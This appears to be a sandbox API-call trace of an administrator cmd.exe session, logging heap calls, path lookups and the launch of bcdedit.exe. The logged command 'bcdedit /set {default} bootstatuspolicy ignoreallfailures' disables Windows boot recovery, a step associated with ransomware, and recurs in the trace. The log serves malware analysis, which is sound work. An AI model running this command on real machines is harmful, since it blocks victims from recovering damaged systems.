	[0230.942] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15
	[0230.942] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1
	[0230.942] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11
	[0230.942] _wcsicmp (_String1="bcdedit", _String2="FOR") returned -4
	[0230.942] _wcsicmp (_String1="bcdedit", _String2="IF") returned -7
	[0230.942] _wcsicmp (_String1="bcdedit", _String2="REM") returned -16
	[0230.957] ??_V@YAXPEAX@Z () returned 0x1
	[0230.957] GetProcessHeap () returned 0x1d2f7770000
	[0230.957] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0xffde) returned 0x1d2f7778380
	[0230.958] GetProcessHeap () returned 0x1d2f7770000
	[0230.958] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0x86) returned 0x1d2f7776d40
	[0230.958] _wcsnicmp (_String1="bcde", _String2="cmd ", _MaxCount=0x4) returned -1
	[0230.958] malloc (_Size=0xffce) returned 0x1d2f78a0820
	[0230.958] ??_V@YAXPEAX@Z () returned 0x1d2f78a0820
	[0230.958] GetProcessHeap () returned 0x1d2f7770000
	[0230.958] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0x1ffac) returned 0x1d2f778b5f0
	[0230.960] SetErrorMode (uMode=0x0) returned 0x0
	[0230.960] SetErrorMode (uMode=0x1) returned 0x0
	[0230.960] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x1d2f778b600, lpFilePart=0xc90e98ef90 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0xc90e98ef90*="system32") returned 0x13
	[0230.960] SetErrorMode (uMode=0x0) returned 0x1
	[0230.960] GetProcessHeap () returned 0x1d2f7770000
	[0230.960] RtlReAllocateHeap (Heap=0x1d2f7770000, Flags=0x0, Ptr=0x1d2f778b5f0, Size=0x48) returned 0x1d2f778b5f0
	[0230.960] GetProcessHeap () returned 0x1d2f7770000
	[0230.960] RtlSizeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, MemoryPointer=0x1d2f778b5f0) returned 0x48
	[0230.960] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff68358bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0230.960] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0230.960] GetProcessHeap () returned 0x1d2f7770000
	[0230.960] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0x1b4) returned 0x1d2f7789520
	[0230.960] GetProcessHeap () returned 0x1d2f7770000
	[0230.960] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0x358) returned 0x1d2f77896e0
	[0230.961] GetProcessHeap () returned 0x1d2f7770000
	[0230.961] RtlReAllocateHeap (Heap=0x1d2f7770000, Flags=0x0, Ptr=0x1d2f77896e0, Size=0x1b6) returned 0x1d2f77896e0
	[0230.961] GetProcessHeap () returned 0x1d2f7770000
	[0230.961] RtlSizeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, MemoryPointer=0x1d2f77896e0) returned 0x1b6
	[0230.961] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff68358bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0230.961] GetProcessHeap () returned 0x1d2f7770000
	[0230.961] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0xe8) returned 0x1d2f77898b0
	[0230.961] GetProcessHeap () returned 0x1d2f7770000
	[0230.961] RtlReAllocateHeap (Heap=0x1d2f7770000, Flags=0x0, Ptr=0x1d2f77898b0, Size=0x7e) returned 0x1d2f77898b0
	[0230.961] GetProcessHeap () returned 0x1d2f7770000
	[0230.961] RtlSizeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, MemoryPointer=0x1d2f77898b0) returned 0x7e
	[0230.961] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0230.961] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0xc90e98ed00, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xc90e98ed00) returned 0x1d2f7776dd0
	[0230.961] FindClose (in: hFindFile=0x1d2f7776dd0 | out: hFindFile=0x1d2f7776dd0) returned 1
	[0230.961] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\bcdedit.COM", fInfoLevelId=0x1, lpFindFileData=0xc90e98ed00, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xc90e98ed00) returned 0xffffffffffffffff
	[0230.961] GetLastError () returned 0x2
	[0230.961] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\bcdedit.EXE", fInfoLevelId=0x1, lpFindFileData=0xc90e98ed00, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xc90e98ed00) returned 0x1d2f7776dd0
	[0230.962] FindClose (in: hFindFile=0x1d2f7776dd0 | out: hFindFile=0x1d2f7776dd0) returned 1
	[0230.962] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0230.962] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0230.962] ??_V@YAXPEAX@Z () returned 0x1
	[0230.962] GetConsoleTitleW (in: lpConsoleTitle=0xc90e98f280, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b
	[0230.964] GetProcessHeap () returned 0x1d2f7770000
	[0230.964] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0x21c) returned 0x1d2f7789940
	[0230.964] GetConsoleTitleW (in: lpConsoleTitle=0x1d2f7789950, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b
	[0230.964] GetProcessHeap () returned 0x1d2f7770000
	[0230.964] RtlReAllocateHeap (Heap=0x1d2f7770000, Flags=0x0, Ptr=0x1d2f7789940, Size=0xee) returned 0x1d2f7789940
	[0230.965] GetProcessHeap () returned 0x1d2f7770000
	[0230.965] RtlSizeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, MemoryPointer=0x1d2f7789940) returned 0xee
	[0230.965] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - bcdedit  /set {default} bootstatuspolicy ignoreallfailures") returned 1
	[0230.966] GetProcessHeap () returned 0x1d2f7770000
	[0230.966] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f7789940) returned 1
	[0230.966] InitializeProcThreadAttributeList (in: lpAttributeList=0xc90e98f1a0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xc90e98f090 | out: lpAttributeList=0xc90e98f1a0, lpSize=0xc90e98f090) returned 1
	[0230.966] UpdateProcThreadAttribute (in: lpAttributeList=0xc90e98f1a0, dwFlags=0x0, Attribute=0x60001, lpValue=0xc90e98f07c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xc90e98f1a0, lpPreviousValue=0x0) returned 1
	[0230.966] GetStartupInfoW (in: lpStartupInfo=0xc90e98f130 | out: lpStartupInfo=0xc90e98f130*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x228, hStdOutput=0x234, hStdError=0x234)) 
	[0230.966] GetProcessHeap () returned 0x1d2f7770000
	[0230.966] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0x20) returned 0x1d2f7776f40
	[0230.966] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0230.966] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38
	[0230.967] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0230.967] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0230.967] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0230.967] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0230.967] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0230.967] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0230.967] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0230.967] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0230.967] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0230.967] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0230.967] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0230.967] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0230.967] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12
	[0230.967] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0230.967] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0230.967] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0230.967] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0230.967] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0230.967] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0230.967] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0230.967] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0230.967] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0230.967] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0230.967] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0230.967] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0230.967] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0230.967] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0230.967] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0230.967] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0230.967] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0230.967] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0230.967] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0230.967] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0230.967] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0230.967] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0230.967] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0230.967] GetProcessHeap () returned 0x1d2f7770000
	[0230.968] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f7776f40) returned 1
	[0230.968] GetProcessHeap () returned 0x1d2f7770000
	[0230.968] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0x12) returned 0x1d2f7778010
	[0230.968] _get_osfhandle (_FileHandle=1) returned 0x234
	[0230.968] SetConsoleMode (hConsoleHandle=0x234, dwMode=0x0) returned 0
	[0230.968] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.968] SetConsoleMode (hConsoleHandle=0x228, dwMode=0x0) returned 0
	[0230.968] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\bcdedit.exe", lpCommandLine="bcdedit  /set {default} bootstatuspolicy ignoreallfailures", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0xc90e98f0c0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="bcdedit  /set {default} bootstatuspolicy ignoreallfailures", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xc90e98f098 | out: lpCommandLine="bcdedit  /set {default} bootstatuspolicy ignoreallfailures", lpProcessInformation=0xc90e98f098*(hProcess=0x98, hThread=0x94, dwProcessId=0xe48, dwThreadId=0xe4c)) returned 1
	[0231.605] CloseHandle (hObject=0x94) returned 1
	[0231.605] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0231.605] GetProcessHeap () returned 0x1d2f7770000
	[0231.605] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f778aaf0) returned 1
	[0231.605] GetEnvironmentStringsW () returned 0x1d2f778aaf0*
	[0231.605] GetProcessHeap () returned 0x1d2f7770000
	[0231.605] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0xaea) returned 0x1d2f7788370
	[0231.605] FreeEnvironmentStringsA (penv="=") returned 1
	[0231.605] NtQueryInformationProcess (in: ProcessHandle=0x98, ProcessInformationClass=0x0, ProcessInformation=0xc90e98e598, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0xc90e98e598, ReturnLength=0x0) returned 0x0
	[0231.605] ReadProcessMemory (in: hProcess=0x98, lpBaseAddress=0x1002c5000, lpBuffer=0xc90e98e5d0, nSize=0x7a0, lpNumberOfBytesRead=0xc90e98e590 | out: lpBuffer=0xc90e98e5d0*, lpNumberOfBytesRead=0xc90e98e590*=0x7a0) returned 1
	[0231.605] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0xffffffff) returned 0x0
	[0232.583] GetExitCodeProcess (in: hProcess=0x98, lpExitCode=0xc90e98f018 | out: lpExitCode=0xc90e98f018*=0x0) returned 1
	[0232.583] CloseHandle (hObject=0x98) returned 1
	[0232.584] _vsnwprintf (in: _Buffer=0xc90e98f1e8, _BufferCount=0x13, _Format="%08X", _ArgList=0xc90e98f028 | out: _Buffer="00000000") returned 8
	[0232.584] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1
	[0232.584] GetProcessHeap () returned 0x1d2f7770000
	[0232.584] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f7788370) returned 1
	[0232.584] GetEnvironmentStringsW () returned 0x1d2f778aaf0*
	[0232.584] GetProcessHeap () returned 0x1d2f7770000
	[0232.584] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0xaea) returned 0x1d2f7788370
	[0232.584] FreeEnvironmentStringsA (penv="=") returned 1
	[0232.584] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0232.584] GetProcessHeap () returned 0x1d2f7770000
	[0232.584] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f7788370) returned 1
	[0232.584] GetEnvironmentStringsW () returned 0x1d2f778aaf0*
	[0232.584] GetProcessHeap () returned 0x1d2f7770000
	[0232.584] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0xaea) returned 0x1d2f7788370
	[0232.584] FreeEnvironmentStringsA (penv="=") returned 1
	[0232.584] GetProcessHeap () returned 0x1d2f7770000
	[0232.584] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f7778010) returned 1
	[0232.584] DeleteProcThreadAttributeList (in: lpAttributeList=0xc90e98f1a0 | out: lpAttributeList=0xc90e98f1a0) 
	[0232.584] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1
	[0232.586] ??_V@YAXPEAX@Z () returned 0x1
	[0232.586] _get_osfhandle (_FileHandle=1) returned 0x234
	[0232.586] SetConsoleMode (hConsoleHandle=0x234, dwMode=0x0) returned 0
	[0232.586] _get_osfhandle (_FileHandle=1) returned 0x234
	[0232.586] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x7ff68358fc08 | out: lpMode=0x7ff68358fc08) returned 0
	[0232.586] _get_osfhandle (_FileHandle=0) returned 0x228
	[0232.586] GetConsoleMode (in: hConsoleHandle=0x228, lpMode=0x7ff68358fc0c | out: lpMode=0x7ff68358fc0c) returned 0
	[0232.586] GetConsoleOutputCP () returned 0x1b5
	[0232.586] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff68358fbb0 | out: lpCPInfo=0x7ff68358fbb0) returned 1
	[0232.586] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0232.586] GetProcessHeap () returned 0x1d2f7770000
	[0232.586] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f77898b0) returned 1
	[0232.586] GetProcessHeap () returned 0x1d2f7770000
	[0232.586] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f77896e0) returned 1
	[0232.587] GetProcessHeap () returned 0x1d2f7770000
	[0232.587] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f7789520) returned 1
	[0232.587] GetProcessHeap () returned 0x1d2f7770000
	[0232.587] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f778b5f0) returned 1
	[0232.587] GetProcessHeap () returned 0x1d2f7770000
	[0232.587] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f7776d40) returned 1
	[0232.587] GetProcessHeap () returned 0x1d2f7770000
	[0232.587] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f7778380) returned 1
	[0232.587] GetProcessHeap () returned 0x1d2f7770000
	[0232.587] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f7776cc0) returned 1
	[0232.587] GetProcessHeap () returned 0x1d2f7770000
	[0232.587] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f77781b0) returned 1
	[0232.587] GetProcessHeap () returned 0x1d2f7770000
	[0232.587] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f7776c00) returned 1
	[0232.587] _vsnwprintf (in: _Buffer=0x7ff683597f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xc90e98f5c8 | out: _Buffer="\r\n") returned 2
	[0232.587] _get_osfhandle (_FileHandle=1) returned 0x234
	[0232.587] GetFileType (hFile=0x234) returned 0x3
	[0232.587] _get_osfhandle (_FileHandle=1) returned 0x234
	[0232.587] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff683589970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0232.587] WriteFile (in: hFile=0x234, lpBuffer=0x7ff683589970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xc90e98f598, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesWritten=0xc90e98f598*=0x2, lpOverlapped=0x0) returned 1
	[0232.587] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff68358bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4
	[0232.587] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1d2f7870080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0232.587] _vsnwprintf (in: _Buffer=0x1d2f7880060, _BufferCount=0x83e5, _Format="%s", _ArgList=0xc90e98f5d8 | out: _Buffer="C:\\WINDOWS\\system32") returned 19
	[0232.588] _vsnwprintf (in: _Buffer=0x1d2f7880086, _BufferCount=0x83d2, _Format="%c", _ArgList=0xc90e98f5d8 | out: _Buffer=">") returned 1
	[0232.588] _get_osfhandle (_FileHandle=1) returned 0x234
	[0232.588] GetFileType (hFile=0x234) returned 0x3
	[0232.588] _get_osfhandle (_FileHandle=1) returned 0x234
	[0232.588] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff683589970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21
	[0232.588] WriteFile (in: hFile=0x234, lpBuffer=0x7ff683589970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0xc90e98f5c8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesWritten=0xc90e98f5c8*=0x14, lpOverlapped=0x0) returned 1
	[0232.588] _get_osfhandle (_FileHandle=0) returned 0x228
	[0232.588] GetFileType (hFile=0x228) returned 0x3
	[0232.588] _get_osfhandle (_FileHandle=0) returned 0x228
	[0232.588] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0232.588] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0232.588] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c30, cchWideChar=1 | out: lpWideCharStr="bcdedit /set {default} bootstatuspolicy ignoreallfailures\n") returned 1
	[0232.588] _get_osfhandle (_FileHandle=0) returned 0x228
	[0232.588] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0232.588] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0232.588] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c32, cchWideChar=1 | out: lpWideCharStr="cdedit /set {default} bootstatuspolicy ignoreallfailures\n") returned 1
	[0232.588] _get_osfhandle (_FileHandle=0) returned 0x228
	[0232.588] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0232.588] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0232.588] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c34, cchWideChar=1 | out: lpWideCharStr="dedit /set {default} bootstatuspolicy ignoreallfailures\n") returned 1
	[0232.588] _get_osfhandle (_FileHandle=0) returned 0x228
	[0232.588] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0232.588] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0232.588] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c36, cchWideChar=1 | out: lpWideCharStr="edit /set {default} bootstatuspolicy ignoreallfailures\n") returned 1
	[0232.588] _get_osfhandle (_FileHandle=0) returned 0x228
	[0232.588] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0232.588] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0232.588] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c38, cchWideChar=1 | out: lpWideCharStr="dit /set {default} bootstatuspolicy ignoreallfailures\n") returned 1
	[0232.588] _get_osfhandle (_FileHandle=0) returned 0x228
	[0232.588] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0232.589] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0232.589] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c3a, cchWideChar=1 | out: lpWideCharStr="it /set {default} bootstatuspolicy ignoreallfailures\n") returned 1
	[0232.589] _get_osfhandle (_FileHandle=0) returned 0x228
	[0232.589] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0232.589] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0232.589] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c3c, cchWideChar=1 | out: lpWideCharStr="t /set {default} bootstatuspolicy ignoreallfailures\n") returned 1
	[0232.589] _get_osfhandle (_FileHandle=0) returned 0x228
	[0232.589] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0232.589] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0232.589] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c3e, cchWideChar=1 | out: lpWideCharStr=" /set {default} bootstatuspolicy ignoreallfailures\n") returned 1
	[0232.589] _get_osfhandle (_FileHandle=0) returned 0x228
	[0232.589] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
